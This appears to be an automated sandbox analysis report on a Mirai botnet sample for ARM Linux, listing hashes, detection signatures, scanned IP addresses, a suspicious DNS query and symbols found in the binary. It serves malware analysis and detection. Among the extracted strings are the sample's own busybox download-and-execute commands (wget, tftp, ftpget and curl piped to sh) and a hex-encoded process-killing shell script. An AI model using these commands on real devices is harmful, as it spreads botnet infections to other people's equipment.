Linux Analysis Report
MwPM17s9Mb.elf

Overview

General Information

Sample name: MwPM17s9Mb.elf
renamed because original name is a hash value
Original sample name: e34fb8ca6e2aa8d61e98f0c3a3912885.elf
Analysis ID: 1432512
MD5: e34fb8ca6e2aa8d61e98f0c3a3912885
SHA1: 61e61551e569ddadce402573a169ac28738bb713
SHA256: 8c87b6bf2b2269e7f71f75f3f58bcf11b72be3967ec401e146b042723435b685
Tags: 32armelfmirai
Infos:

Detection

Mirai
Score: 64
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Contains symbols with names commonly found in malware
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample and/or dropped files contains symbols with suspicious names
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: MwPM17s9Mb.elf ReversingLabs: Detection: 55%
Source: MwPM17s9Mb.elf Virustotal: Detection: 33% Perma Link
Source: MwPM17s9Mb.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking

barindex
Source: global traffic TCP traffic: 204.76.203.5 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 192.168.2.15:60640 -> 204.76.203.5:38241
Source: /tmp/MwPM17s9Mb.elf (PID: 5847) Socket: 127.0.0.1::39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 118.246.155.59
Source: unknown TCP traffic detected without corresponding DNS query: 114.1.158.82
Source: unknown TCP traffic detected without corresponding DNS query: 96.191.57.13
Source: unknown TCP traffic detected without corresponding DNS query: 51.79.52.103
Source: unknown TCP traffic detected without corresponding DNS query: 126.97.162.5
Source: unknown TCP traffic detected without corresponding DNS query: 104.219.100.237
Source: unknown TCP traffic detected without corresponding DNS query: 59.202.150.44
Source: unknown TCP traffic detected without corresponding DNS query: 126.127.128.71
Source: unknown TCP traffic detected without corresponding DNS query: 81.139.175.225
Source: unknown TCP traffic detected without corresponding DNS query: 83.197.75.146
Source: unknown TCP traffic detected without corresponding DNS query: 162.83.33.121
Source: unknown TCP traffic detected without corresponding DNS query: 135.108.222.38
Source: unknown TCP traffic detected without corresponding DNS query: 193.217.79.27
Source: unknown TCP traffic detected without corresponding DNS query: 12.105.234.251
Source: unknown TCP traffic detected without corresponding DNS query: 84.122.104.254
Source: unknown TCP traffic detected without corresponding DNS query: 39.239.50.158
Source: unknown TCP traffic detected without corresponding DNS query: 89.101.195.35
Source: unknown TCP traffic detected without corresponding DNS query: 208.155.37.149
Source: unknown TCP traffic detected without corresponding DNS query: 131.60.198.107
Source: unknown TCP traffic detected without corresponding DNS query: 172.88.189.103
Source: unknown TCP traffic detected without corresponding DNS query: 130.101.122.126
Source: unknown TCP traffic detected without corresponding DNS query: 171.235.41.253
Source: unknown TCP traffic detected without corresponding DNS query: 125.201.240.52
Source: unknown TCP traffic detected without corresponding DNS query: 170.229.131.78
Source: unknown TCP traffic detected without corresponding DNS query: 203.231.53.85
Source: unknown TCP traffic detected without corresponding DNS query: 145.7.8.202
Source: unknown TCP traffic detected without corresponding DNS query: 182.89.85.181
Source: unknown TCP traffic detected without corresponding DNS query: 147.24.248.187
Source: unknown TCP traffic detected without corresponding DNS query: 153.135.221.44
Source: unknown TCP traffic detected without corresponding DNS query: 199.253.241.82
Source: unknown TCP traffic detected without corresponding DNS query: 98.215.87.115
Source: unknown TCP traffic detected without corresponding DNS query: 148.182.98.117
Source: unknown TCP traffic detected without corresponding DNS query: 74.85.192.225
Source: unknown TCP traffic detected without corresponding DNS query: 78.230.112.144
Source: unknown TCP traffic detected without corresponding DNS query: 153.144.77.216
Source: unknown TCP traffic detected without corresponding DNS query: 182.75.155.134
Source: unknown TCP traffic detected without corresponding DNS query: 76.149.0.200
Source: unknown TCP traffic detected without corresponding DNS query: 176.219.81.13
Source: unknown TCP traffic detected without corresponding DNS query: 56.76.54.202
Source: unknown TCP traffic detected without corresponding DNS query: 71.144.250.178
Source: unknown TCP traffic detected without corresponding DNS query: 50.94.254.242
Source: unknown TCP traffic detected without corresponding DNS query: 29.248.207.84
Source: unknown TCP traffic detected without corresponding DNS query: 35.230.129.83
Source: unknown TCP traffic detected without corresponding DNS query: 141.198.227.239
Source: unknown TCP traffic detected without corresponding DNS query: 70.168.249.248
Source: unknown TCP traffic detected without corresponding DNS query: 166.221.231.242
Source: unknown TCP traffic detected without corresponding DNS query: 138.208.11.163
Source: unknown TCP traffic detected without corresponding DNS query: 193.204.28.67
Source: unknown TCP traffic detected without corresponding DNS query: 202.100.130.226
Source: unknown TCP traffic detected without corresponding DNS query: 79.85.14.88
Source: global traffic DNS traffic detected: DNS query: infectedslurs.geek
Source: MwPM17s9Mb.elf String found in binary or memory: http:///curl.sh
Source: MwPM17s9Mb.elf String found in binary or memory: http:///wget.sh

System Summary

barindex
Source: ELF static info symbol of initial sample Name: attack.c
Source: ELF static info symbol of initial sample Name: attack_gre.c
Source: ELF static info symbol of initial sample Name: attack_kill_all
Source: ELF static info symbol of initial sample Name: attack_ongoing
Source: ELF static info symbol of initial sample Name: attack_parse
Source: ELF static info symbol of initial sample Name: attack_start
Source: ELF static info symbol of initial sample Name: attack_std.c
Source: ELF static info symbol of initial sample Name: attack_tcp.c
Source: ELF static info symbol of initial sample Name: attack_udp.c
Source: MwPM17s9Mb.elf ELF static info symbol of initial sample: __gnu_unwind_execute
Source: MwPM17s9Mb.elf ELF static info symbol of initial sample: scanner.c
Source: MwPM17s9Mb.elf ELF static info symbol of initial sample: scanner_init
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: classification engine Classification label: mal64.troj.linELF@0/103@1/0
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5880/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5880/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5870/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5870/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5881/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5881/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5881/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5881/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5871/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5871/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5882/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5882/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5882/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5882/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5872/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5872/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5883/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5883/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5883/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5883/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5873/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5873/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5884/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5884/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5884/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5884/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5874/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5874/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5875/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5875/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5876/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5876/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5877/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5877/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5878/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5878/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5868/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5868/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5879/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5879/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5869/maps Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5853) File opened: /proc/5869/cmdline Jump to behavior
Source: /tmp/MwPM17s9Mb.elf (PID: 5847) Queries kernel information via 'uname': Jump to behavior
Source: MwPM17s9Mb.elf, 5847.1.000055847dde8000.000055847df39000.rw-.sdmp, MwPM17s9Mb.elf, 5851.1.000055847dde8000.000055847df16000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: MwPM17s9Mb.elf, 5847.1.000055847dde8000.000055847df39000.rw-.sdmp, MwPM17s9Mb.elf, 5851.1.000055847dde8000.000055847df16000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: MwPM17s9Mb.elf, 5847.1.00007fff9ab75000.00007fff9ab96000.rw-.sdmp, MwPM17s9Mb.elf, 5851.1.00007fff9ab75000.00007fff9ab96000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: MwPM17s9Mb.elf, 5847.1.00007fff9ab75000.00007fff9ab96000.rw-.sdmp, MwPM17s9Mb.elf, 5851.1.00007fff9ab75000.00007fff9ab96000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/MwPM17s9Mb.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/MwPM17s9Mb.elf

Stealing of Sensitive Information

barindex
Source: Yara match File source: MwPM17s9Mb.elf, type: SAMPLE

Remote Access Functionality

barindex
Source: Yara match File source: MwPM17s9Mb.elf, type: SAMPLE
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs